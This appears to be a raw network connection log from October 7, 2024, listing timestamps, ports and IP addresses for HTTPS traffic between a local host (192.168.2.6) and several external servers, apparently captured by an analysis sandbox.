Oct 7, 2024 08:46:57.751918077 CEST	443	49730	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:57.756457090 CEST	443	49730	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:57.756506920 CEST	443	49730	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:57.756522894 CEST	49730	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:57.756532907 CEST	443	49730	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:57.756613016 CEST	49730	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:57.756619930 CEST	443	49730	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:57.761297941 CEST	443	49730	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:57.761337042 CEST	443	49730	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:57.761378050 CEST	49730	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:57.761384964 CEST	443	49730	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:57.761511087 CEST	49730	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:57.766144037 CEST	443	49730	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:57.766225100 CEST	443	49730	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:57.766263008 CEST	443	49730	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:57.766309023 CEST	49730	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:57.766315937 CEST	443	49730	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:57.766354084 CEST	49730	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:57.838548899 CEST	443	49730	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:57.843352079 CEST	443	49730	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:57.843394995 CEST	443	49730	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:57.843430996 CEST	49730	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:57.843439102 CEST	443	49730	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:57.843488932 CEST	49730	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:57.843494892 CEST	443	49730	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:57.843626976 CEST	443	49730	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:57.843694925 CEST	49730	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:57.849560976 CEST	49730	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:57.849586010 CEST	443	49730	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:57.962013960 CEST	443	49732	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.970118046 CEST	443	49733	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.976712942 CEST	443	49737	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.982151031 CEST	443	49734	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.993307114 CEST	443	49736	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.004770041 CEST	49731	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:58.005235910 CEST	49732	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.012629986 CEST	49738	443	192.168.2.6	104.102.49.254
Oct 7, 2024 08:46:58.012676954 CEST	443	49738	104.102.49.254	192.168.2.6
Oct 7, 2024 08:46:58.012763023 CEST	49738	443	192.168.2.6	104.102.49.254
Oct 7, 2024 08:46:58.013081074 CEST	49738	443	192.168.2.6	104.102.49.254
Oct 7, 2024 08:46:58.013093948 CEST	443	49738	104.102.49.254	192.168.2.6
Oct 7, 2024 08:46:58.020802021 CEST	49733	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.020804882 CEST	49737	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.036346912 CEST	49734	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.036431074 CEST	49736	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.040693998 CEST	49736	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.040712118 CEST	443	49736	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.041883945 CEST	49736	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.041892052 CEST	443	49736	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.042675018 CEST	49734	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.042701006 CEST	443	49734	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.043405056 CEST	49734	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.043416023 CEST	443	49734	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.043787956 CEST	49732	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.043811083 CEST	443	49732	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.044460058 CEST	49732	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.044465065 CEST	443	49732	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.045001030 CEST	49733	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.045013905 CEST	443	49733	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.045649052 CEST	49733	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.045656919 CEST	443	49733	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.046523094 CEST	49737	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.046554089 CEST	443	49737	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.047449112 CEST	443	49731	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:58.047741890 CEST	49737	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.047750950 CEST	443	49737	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.139528036 CEST	443	49736	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.139614105 CEST	443	49736	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.139976978 CEST	49736	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.140681028 CEST	443	49734	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.140749931 CEST	443	49734	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.140804052 CEST	49734	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.141460896 CEST	443	49732	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.141522884 CEST	443	49732	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.141635895 CEST	49732	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.142441988 CEST	443	49737	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.142580986 CEST	443	49737	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.142656088 CEST	49737	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.143105030 CEST	443	49733	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.143170118 CEST	443	49733	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.143528938 CEST	49733	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.147094965 CEST	49736	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.147111893 CEST	443	49736	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.147150040 CEST	49736	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.147155046 CEST	443	49736	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.153244972 CEST	49737	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.153276920 CEST	443	49737	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.153292894 CEST	49737	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.153301001 CEST	443	49737	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.155631065 CEST	49733	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.155658007 CEST	443	49733	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.155669928 CEST	49733	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.155677080 CEST	443	49733	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.156651974 CEST	49734	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.156656981 CEST	443	49734	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.156672955 CEST	49734	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.156676054 CEST	443	49734	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.161571980 CEST	49732	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.161607981 CEST	443	49732	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.161650896 CEST	49732	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.161659956 CEST	443	49732	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.211543083 CEST	49739	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.211575031 CEST	443	49739	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.211688995 CEST	49739	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.211920023 CEST	49740	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.211946964 CEST	443	49740	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.212033033 CEST	49740	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.214612007 CEST	49741	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.214656115 CEST	443	49741	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.214741945 CEST	49741	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.217259884 CEST	49742	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.217269897 CEST	443	49742	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.217443943 CEST	49742	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.240751982 CEST	49742	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.240771055 CEST	443	49742	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.241111040 CEST	49739	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.241128922 CEST	443	49739	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.241410017 CEST	49740	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.241426945 CEST	443	49740	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.241674900 CEST	49741	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.241694927 CEST	443	49741	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.242903948 CEST	49743	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.242916107 CEST	443	49743	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.243168116 CEST	49743	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.243287086 CEST	49743	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.243299007 CEST	443	49743	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.537116051 CEST	443	49731	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:58.537300110 CEST	443	49731	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:58.537364006 CEST	49731	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:58.577346087 CEST	49731	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:58.577383995 CEST	443	49731	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:58.673695087 CEST	443	49738	104.102.49.254	192.168.2.6
Oct 7, 2024 08:46:58.748734951 CEST	49738	443	192.168.2.6	104.102.49.254
Oct 7, 2024 08:46:58.810966015 CEST	49738	443	192.168.2.6	104.102.49.254
Oct 7, 2024 08:46:58.810982943 CEST	443	49738	104.102.49.254	192.168.2.6
Oct 7, 2024 08:46:58.812634945 CEST	443	49738	104.102.49.254	192.168.2.6
Oct 7, 2024 08:46:58.812654018 CEST	443	49738	104.102.49.254	192.168.2.6
Oct 7, 2024 08:46:58.812711000 CEST	49738	443	192.168.2.6	104.102.49.254
Oct 7, 2024 08:46:58.874187946 CEST	443	49742	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.877466917 CEST	443	49739	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.881665945 CEST	49742	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.881688118 CEST	443	49742	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.882206917 CEST	49742	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.882215977 CEST	443	49742	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.882958889 CEST	49739	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.882982016 CEST	443	49739	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.883359909 CEST	49739	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.883368969 CEST	443	49739	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.905637026 CEST	443	49740	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.915497065 CEST	443	49741	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.917314053 CEST	443	49743	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.926043987 CEST	49740	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.926079035 CEST	443	49740	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.926533937 CEST	49740	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.926541090 CEST	443	49740	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.926843882 CEST	49741	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.926875114 CEST	443	49741	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.927280903 CEST	49741	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.927285910 CEST	443	49741	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.927548885 CEST	49743	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.927563906 CEST	443	49743	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.927915096 CEST	49743	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.927921057 CEST	443	49743	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.977406979 CEST	443	49742	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.977494001 CEST	443	49742	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.977606058 CEST	49742	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.977809906 CEST	49742	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.977823973 CEST	443	49742	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.977834940 CEST	49742	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.977842093 CEST	443	49742	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.978746891 CEST	443	49739	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.978908062 CEST	443	49739	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.979178905 CEST	49739	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.979178905 CEST	49739	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.979243040 CEST	49739	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.979260921 CEST	443	49739	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.981731892 CEST	49745	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.981781006 CEST	443	49745	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.981797934 CEST	49746	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.981806040 CEST	443	49746	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.981834888 CEST	49745	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.981861115 CEST	49746	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.982022047 CEST	49745	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.982039928 CEST	443	49745	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:58.982225895 CEST	49746	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:58.982235909 CEST	443	49746	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.026711941 CEST	443	49740	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.026803970 CEST	443	49740	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.026952028 CEST	49740	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.027168989 CEST	49740	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.027190924 CEST	443	49740	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.027203083 CEST	49740	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.027209997 CEST	443	49740	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.029886961 CEST	49747	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.029922009 CEST	443	49747	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.029927969 CEST	443	49741	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.029987097 CEST	443	49741	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.029999971 CEST	49747	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.030029058 CEST	49741	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.030325890 CEST	49747	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.030347109 CEST	443	49747	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.030410051 CEST	49741	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.030428886 CEST	443	49741	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.030438900 CEST	49741	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.030445099 CEST	443	49741	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.030683041 CEST	443	49743	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.030822992 CEST	443	49743	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.030899048 CEST	49743	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.031209946 CEST	49743	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.031219959 CEST	443	49743	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.031232119 CEST	49743	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.031236887 CEST	443	49743	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.033127069 CEST	49748	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.033170938 CEST	443	49748	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.033252001 CEST	49748	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.033364058 CEST	49748	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.033384085 CEST	443	49748	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.033797026 CEST	49749	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.033834934 CEST	443	49749	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.034133911 CEST	49749	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.034245968 CEST	49749	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.034262896 CEST	443	49749	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.408314943 CEST	49738	443	192.168.2.6	104.102.49.254
Oct 7, 2024 08:46:59.408581018 CEST	443	49738	104.102.49.254	192.168.2.6
Oct 7, 2024 08:46:59.457360983 CEST	49738	443	192.168.2.6	104.102.49.254
Oct 7, 2024 08:46:59.457380056 CEST	443	49738	104.102.49.254	192.168.2.6
Oct 7, 2024 08:46:59.477993965 CEST	49738	443	192.168.2.6	104.102.49.254
Oct 7, 2024 08:46:59.484642982 CEST	49751	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:59.484688044 CEST	443	49751	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:59.484791994 CEST	49751	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:59.497893095 CEST	49752	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:59.497941017 CEST	443	49752	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:59.498038054 CEST	49752	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:59.499157906 CEST	49753	443	192.168.2.6	216.58.206.68
Oct 7, 2024 08:46:59.499212027 CEST	443	49753	216.58.206.68	192.168.2.6
Oct 7, 2024 08:46:59.499438047 CEST	49753	443	192.168.2.6	216.58.206.68
Oct 7, 2024 08:46:59.507014036 CEST	49751	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:59.507038116 CEST	443	49751	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:59.508023977 CEST	49752	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:59.508043051 CEST	443	49752	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:59.510114908 CEST	49753	443	192.168.2.6	216.58.206.68
Oct 7, 2024 08:46:59.510138035 CEST	443	49753	216.58.206.68	192.168.2.6
Oct 7, 2024 08:46:59.523402929 CEST	443	49738	104.102.49.254	192.168.2.6
Oct 7, 2024 08:46:59.599469900 CEST	49754	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:59.599522114 CEST	443	49754	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:59.599937916 CEST	49754	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:59.599937916 CEST	49754	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:59.599983931 CEST	443	49754	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:59.653649092 CEST	443	49745	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.654632092 CEST	49745	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.654695034 CEST	443	49745	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.656295061 CEST	49745	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.656306982 CEST	443	49745	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.668251038 CEST	443	49747	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.669955015 CEST	49747	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.669997931 CEST	443	49747	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.671241045 CEST	49747	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.671247005 CEST	443	49747	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.678194046 CEST	443	49746	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.681015968 CEST	443	49738	104.102.49.254	192.168.2.6
Oct 7, 2024 08:46:59.681045055 CEST	443	49738	104.102.49.254	192.168.2.6
Oct 7, 2024 08:46:59.681054115 CEST	443	49738	104.102.49.254	192.168.2.6
Oct 7, 2024 08:46:59.681071997 CEST	443	49738	104.102.49.254	192.168.2.6
Oct 7, 2024 08:46:59.681081057 CEST	443	49738	104.102.49.254	192.168.2.6
Oct 7, 2024 08:46:59.681088924 CEST	443	49738	104.102.49.254	192.168.2.6
Oct 7, 2024 08:46:59.681118011 CEST	49738	443	192.168.2.6	104.102.49.254
Oct 7, 2024 08:46:59.681133986 CEST	443	49738	104.102.49.254	192.168.2.6
Oct 7, 2024 08:46:59.681147099 CEST	49738	443	192.168.2.6	104.102.49.254
Oct 7, 2024 08:46:59.681152105 CEST	443	49738	104.102.49.254	192.168.2.6
Oct 7, 2024 08:46:59.681215048 CEST	49738	443	192.168.2.6	104.102.49.254
Oct 7, 2024 08:46:59.683209896 CEST	443	49749	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.693569899 CEST	443	49748	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.704818964 CEST	49746	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.704874039 CEST	443	49746	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.705738068 CEST	49746	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.705746889 CEST	443	49746	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.712606907 CEST	49749	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.712625027 CEST	443	49749	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.713517904 CEST	49749	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.713536024 CEST	443	49749	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.714276075 CEST	49748	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.714308977 CEST	443	49748	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.715854883 CEST	49748	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.715862036 CEST	443	49748	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.755985975 CEST	443	49745	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.756058931 CEST	443	49745	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.756133080 CEST	49745	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.757896900 CEST	49745	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.757927895 CEST	443	49745	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.768454075 CEST	443	49747	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.768609047 CEST	443	49747	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.768670082 CEST	49747	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.788894892 CEST	443	49738	104.102.49.254	192.168.2.6
Oct 7, 2024 08:46:59.788949013 CEST	443	49738	104.102.49.254	192.168.2.6
Oct 7, 2024 08:46:59.788971901 CEST	443	49738	104.102.49.254	192.168.2.6
Oct 7, 2024 08:46:59.788985968 CEST	443	49738	104.102.49.254	192.168.2.6
Oct 7, 2024 08:46:59.789000988 CEST	443	49738	104.102.49.254	192.168.2.6
Oct 7, 2024 08:46:59.789026976 CEST	49738	443	192.168.2.6	104.102.49.254
Oct 7, 2024 08:46:59.789026976 CEST	49738	443	192.168.2.6	104.102.49.254
Oct 7, 2024 08:46:59.789043903 CEST	443	49738	104.102.49.254	192.168.2.6
Oct 7, 2024 08:46:59.789092064 CEST	49738	443	192.168.2.6	104.102.49.254
Oct 7, 2024 08:46:59.791732073 CEST	49747	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.791732073 CEST	49747	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.791769028 CEST	443	49747	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.791785002 CEST	443	49747	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.800640106 CEST	443	49738	104.102.49.254	192.168.2.6
Oct 7, 2024 08:46:59.800705910 CEST	49738	443	192.168.2.6	104.102.49.254
Oct 7, 2024 08:46:59.800719976 CEST	443	49738	104.102.49.254	192.168.2.6
Oct 7, 2024 08:46:59.800736904 CEST	443	49738	104.102.49.254	192.168.2.6
Oct 7, 2024 08:46:59.800785065 CEST	49738	443	192.168.2.6	104.102.49.254
Oct 7, 2024 08:46:59.800785065 CEST	49738	443	192.168.2.6	104.102.49.254
Oct 7, 2024 08:46:59.806385040 CEST	443	49746	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.806461096 CEST	443	49746	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.806515932 CEST	49746	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.811412096 CEST	49755	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.811455965 CEST	443	49755	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.811537027 CEST	49755	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.811618090 CEST	443	49749	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.811674118 CEST	443	49749	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.811774969 CEST	49749	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.814686060 CEST	443	49748	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.814759016 CEST	443	49748	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.814814091 CEST	49748	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.817565918 CEST	49756	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.817617893 CEST	443	49756	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.817694902 CEST	49756	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.818494081 CEST	49756	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.818511009 CEST	443	49756	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.818972111 CEST	49746	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.818972111 CEST	49746	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:59.819004059 CEST	443	49746	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.819019079 CEST	443	49746	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:59.819051981 CEST	49748	443	192.168.2.6	13.107.246.45
